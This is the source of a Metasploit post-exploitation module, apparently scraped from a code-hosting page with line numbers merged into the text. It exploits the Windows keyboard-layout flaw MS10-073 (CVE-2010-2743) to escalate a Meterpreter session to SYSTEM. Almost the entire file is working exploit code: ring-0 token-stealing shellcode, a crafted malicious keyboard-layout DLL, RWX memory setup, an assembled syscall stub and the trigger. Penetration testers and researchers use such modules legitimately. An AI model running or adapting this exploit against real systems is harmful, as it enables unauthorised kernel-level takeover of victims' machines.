Path: blob/master/modules/post/windows/escalate/ms10_073_kbdlayout.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasm'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Version910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation',15'Description' => %q{16This module exploits the keyboard layout vulnerability exploited by Stuxnet. When17processing specially crafted keyboard layout files (DLLs), the Windows kernel fails18to validate that an array index is within the bounds of the array. By loading19a specially crafted keyboard layout, an attacker can execute code in Ring 0.20},21'License' => MSF_LICENSE,22'Author' => [23'Ruben Santamarta', # First public exploit24'jduck' # Metasploit module25],26'Platform' => [ 'win' ],27'SessionTypes' => [ 'meterpreter' ],28'References' => [29[ 'OSVDB', '68552' ],30[ 'CVE', '2010-2743' ],31[ 'MSB', 'MS10-073' ],32[ 'URL', 'https://web.archive.org/web/20160308010201/http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1' ],33[ 'EDB', '15985' ]34],35'DisclosureDate' => '2010-10-12',36'Compat' => {37'Meterpreter' => {38'Commands' => %w[39core_channel_eof40core_channel_open41core_channel_read42core_channel_write43stdapi_fs_delete_file44stdapi_railgun_api45stdapi_railgun_memwrite46stdapi_sys_config_getenv47stdapi_sys_process_getpid48]49}50},51'Notes' => {52'Stability' => [CRASH_OS_DOWN],53'SideEffects' => [ARTIFACTS_ON_DISK],54'Reliability' => []55}56)57)58end5960def run61mem_base = nil62dllpath = nil63hdll = false6465version = get_version_info66unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP0)67print_error("#{version.product_name} is not vulnerable.")68return69end7071unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::XP_SP2)72print_error("#{version.product_name} is vulnerable, but not supported by this module.")73return74end7576# syscalls from http://j00ru.vexillium.org/win32k_syscalls/77if version.build_number == Msf::WindowsVersion::Win200078system_pid = 879pid_off = 0x9c80flink_off = 0xa081token_off = 0x12c82addr = 0x4142434483syscall_stub = <<~EOS84mov eax, 0x000011b685lea edx, [esp+4]86int 0x2e87ret 0x1c88EOS89else # XP90system_pid = 491pid_off = 0x8492flink_off = 0x8893token_off = 0xc894addr = 0x6063626195syscall_stub = <<~EOS96mov eax, 0x000011c697mov edx, 0x7ffe030098call [edx]99ret 0x1c100EOS101end102103ring0_code =104# "\xcc" +105# save registers -- necessary for successful recovery106"\x60" +107# get EPROCESS from ETHREAD108"\x64\xa1\x24\x01\x00\x00" \109"\x8b\x70\x44" +110# init PID search111"\x89\xf0" \112"\xbb" + 'FFFF' \113"\xb9" + 'PPPP' +114# look for the system pid EPROCESS115"\xba" + 'SSSS' \116"\x8b\x04\x18" \117"\x29\xd8" \118"\x39\x14\x08" \119"\x75\xf6" +120# save the system token addr in edi121"\xbb" + 'TTTT' \122"\x8b\x3c\x18" \123"\x83\xe7\xf8" +124# re-init the various offsets125"\x89\xf0" \126"\xbb" + 'FFFF' \127"\xb9" + 'PPPP' +128# find the target pid token129"\xba" + 'TPTP' \130"\x8b\x04\x18" \131"\x29\xd8" \132"\x39\x14\x08" \133"\x75\xf6" +134# set the target pid's token to the system token135"\xbb" + 'TTTT' \136"\x89\x3c\x18" +137# restore start context138"\x61" +139# recover in ring0, return to caller140"\xc2\x0c\00"141142dll_data =143"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \144"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \145"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \146"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00" \147"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" \148"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \149"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \150"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \151"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \152"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \153"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \154"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \155"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \156"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \157"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \158"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \159"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \160"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \161"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \162"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00" \163"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00" \164"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \165"\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \166"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \167"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \168"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \169"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \170"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" \171"\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \172"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \173"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \174"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \175"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \176"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \177"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \178"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \179"\x00\x00\x00\x00\x00\x00"180181pid = session.sys.process.getpid182print_status(format('Attempting to elevate PID 0x%<pid>x', pid: pid))183184# Prepare the shellcode (replace platform specific stuff, and pid)185ring0_code.gsub!('FFFF', [flink_off].pack('V'))186ring0_code.gsub!('PPPP', [pid_off].pack('V'))187ring0_code.gsub!('SSSS', [system_pid].pack('V'))188ring0_code.gsub!('TTTT', [token_off].pack('V'))189ring0_code.gsub!('TPTP', [pid].pack('V'))190191# Create the malicious Keyboard Layout file...192tmpdir = session.sys.config.getenv('TEMP')193fname = 'p0wns.boom'194dllpath = "#{tmpdir}\\#{fname}"195fd = session.fs.file.new(dllpath, 'wb')196fd.write(dll_data)197fd.close198199# Can't use this atm, no handle access via stdapi :(200# dll_fd = session.fs.file.new(dllpath, 'rb')201# Instead, we'll use railgun to re-open the file202ret = session.railgun.kernel32.CreateFileA(dllpath, GENERIC_READ, 1, nil, 3, 0, 0)203print_status(ret.inspect)204if ret['return'] < 1205print_error("Unable to open #{dllpath}")206return207end208hdll = ret['return']209print_status("Wrote malicious keyboard layout to #{dllpath} ..")210211# Allocate some RWX virtual memory for our use..212mem_base = addr & 0xffff0000213mem_size = (addr & 0xffff) + 0x1000214mem_size += (0x1000 - (mem_size % 0x1000))215mem = session.railgun.kernel32.VirtualAlloc(mem_base, mem_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)216if (mem['return'] != mem_base)217print_error(format('Unable to allocate RWX memory @ 0x%<mem_base>x', mem_base: mem_base))218return219end220print_status(format('Allocated 0x%<mem_size>x bytes of memory @ 0x%<mem_base>x', mem_size: mem_size, mem_base: mem_base))221222# Initialize the buffer to contain NO-OPs223nops = "\x90" * mem_size224ret = session.railgun.memwrite(mem_base, nops, nops.length)225if !ret226print_error('Unable to fill memory with NO-OPs')227return228end229230# Copy the shellcode to the desired place231ret = session.railgun.memwrite(addr, ring0_code, ring0_code.length)232if !ret233print_error('Unable to copy ring0 payload')234return235end236237# InitializeUnicodeStr(&uStr,L"pwn3d.dll"); -- Is this necessary?238pklid = mem_base239pstr = pklid + (2 + 2 + 4)240kbd_name = 'pwn3d.dll'241uni_name = Rex::Text.to_unicode(kbd_name + "\x00")242ret = session.railgun.memwrite(pstr, uni_name, uni_name.length)243if !ret244print_error('Unable to copy unicode string data')245return246end247unicode_str = [248kbd_name.length * 2,249uni_name.length,250pstr251].pack('vvV')252ret = session.railgun.memwrite(pklid, unicode_str, unicode_str.length)253if !ret254print_error('Unable to copy UNICODE_STRING structure')255return256end257print_status('Initialized RWX buffer ...')258259# Get the current Keyboard Layout260ret = session.railgun.user32.GetKeyboardLayout(0)261if ret['return'] < 1262print_error('Unable to GetKeyboardLayout')263return264end265hkl = ret['return']266print_status('Current Keyboard Layout: 0x%x' % hkl)267268# _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx(269# IN HANDLE Handle,270# IN DWORD offTable,271# IN PUNICODE_STRING puszKeyboardName,272# IN HKL hKL,273# IN PUNICODE_STRING puszKLID,274# IN DWORD dwKLID,275# IN UINT Flags276# )277278# Again, railgun/meterpreter doesn't implement calling a non-dll function, so279# I tried to hack up this call to KiFastSystemCall, but that didn't work either...280=begin281session.railgun.add_function('ntdll', 'KiFastSystemCall', 'DWORD',282[283[ 'DWORD', 'syscall', 'in' ],284[ 'DWORD', 'handle', 'in' ],285[ 'DWORD', 'offTable', 'in' ],286[ 'PBLOB', 'pKbdName', 'in' ],287[ 'DWORD', 'hKL', 'in' ],288[ 'PBLOB', 'pKLID', 'in' ],289[ 'DWORD', 'dwKLID', 'in' ],290[ 'DWORD', 'Flags', 'in' ]291])292ret = session.railgun.ntdll.KiFastSystemCall(dll_fd, 0x1ae0160, nil, hkl, pklid, 0x666, 0x101)293print_status(ret.inspect)294=end295296# Instead, we'll craft a machine code blob to setup the stack and perform297# the system call..298asm = <<~EOS299pop esi300push 0x101301push 0x666302push #{'0x%x' % pklid}303push #{'0x%x' % hkl}304push 0305push 0x1ae0160306push #{'0x%x' % hdll}307push esi308#{syscall_stub}309EOS310# print_status("\n" + asm)311bytes = Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string312# print_status("\n" + Rex::Text.to_hex_dump(bytes))313314# Copy this new system call wrapper function into our RWX memory315func_ptr = mem_base + 0x1000316ret = session.railgun.memwrite(func_ptr, bytes, bytes.length)317if !ret318print_error('Unable to copy system call stub')319return320end321print_status(format('Patched in syscall wrapper @ 0x%<func_ptr>x', func_ptr: func_ptr))322323# GO GO GO324ret = session.railgun.kernel32.CreateThread(nil, 0, func_ptr, nil, 'CREATE_SUSPENDED', nil)325if ret['return'] < 1326print_error('Unable to CreateThread')327return328end329hthread = ret['return']330331# Resume the thread to actually have the syscall happen332ret = client.railgun.kernel32.ResumeThread(hthread)333if ret['return'] < 1334print_error('Unable to ResumeThread')335return336end337print_good('Successfully executed syscall wrapper!')338339# Now, send some input to cause ring0 payload execution...340print_status('Attempting to cause the ring0 payload to execute...')341vinput = [3421, # INPUT_KEYBOARD - input type343# KEYBDINPUT struct3440x0, # wVk3450x0, # wScan3460x0, # dwFlags3470x0, # time3480x0, # dwExtraInfo3490x0, # pad 13500x0 # pad 2351].pack('VvvVVVVV')352ret = session.railgun.user32.SendInput(1, vinput, vinput.length)353print_status('SendInput: ' + ret.inspect)354ensure355# Clean up356if mem_base357ret = session.railgun.kernel32.VirtualFree(mem_base, 0, MEM_RELEASE)358if !(ret['return'])359print_error(format('Unable to free memory @ 0x%<mem_base>x', mem_base: mem_base))360end361end362363# dll_fd.close364if hdll365ret = session.railgun.kernel32.CloseHandle(hdll)366if !(ret['return'])367print_error('Unable to CloseHandle')368end369end370371session.fs.file.rm(dllpath) if dllpath372end373end374375376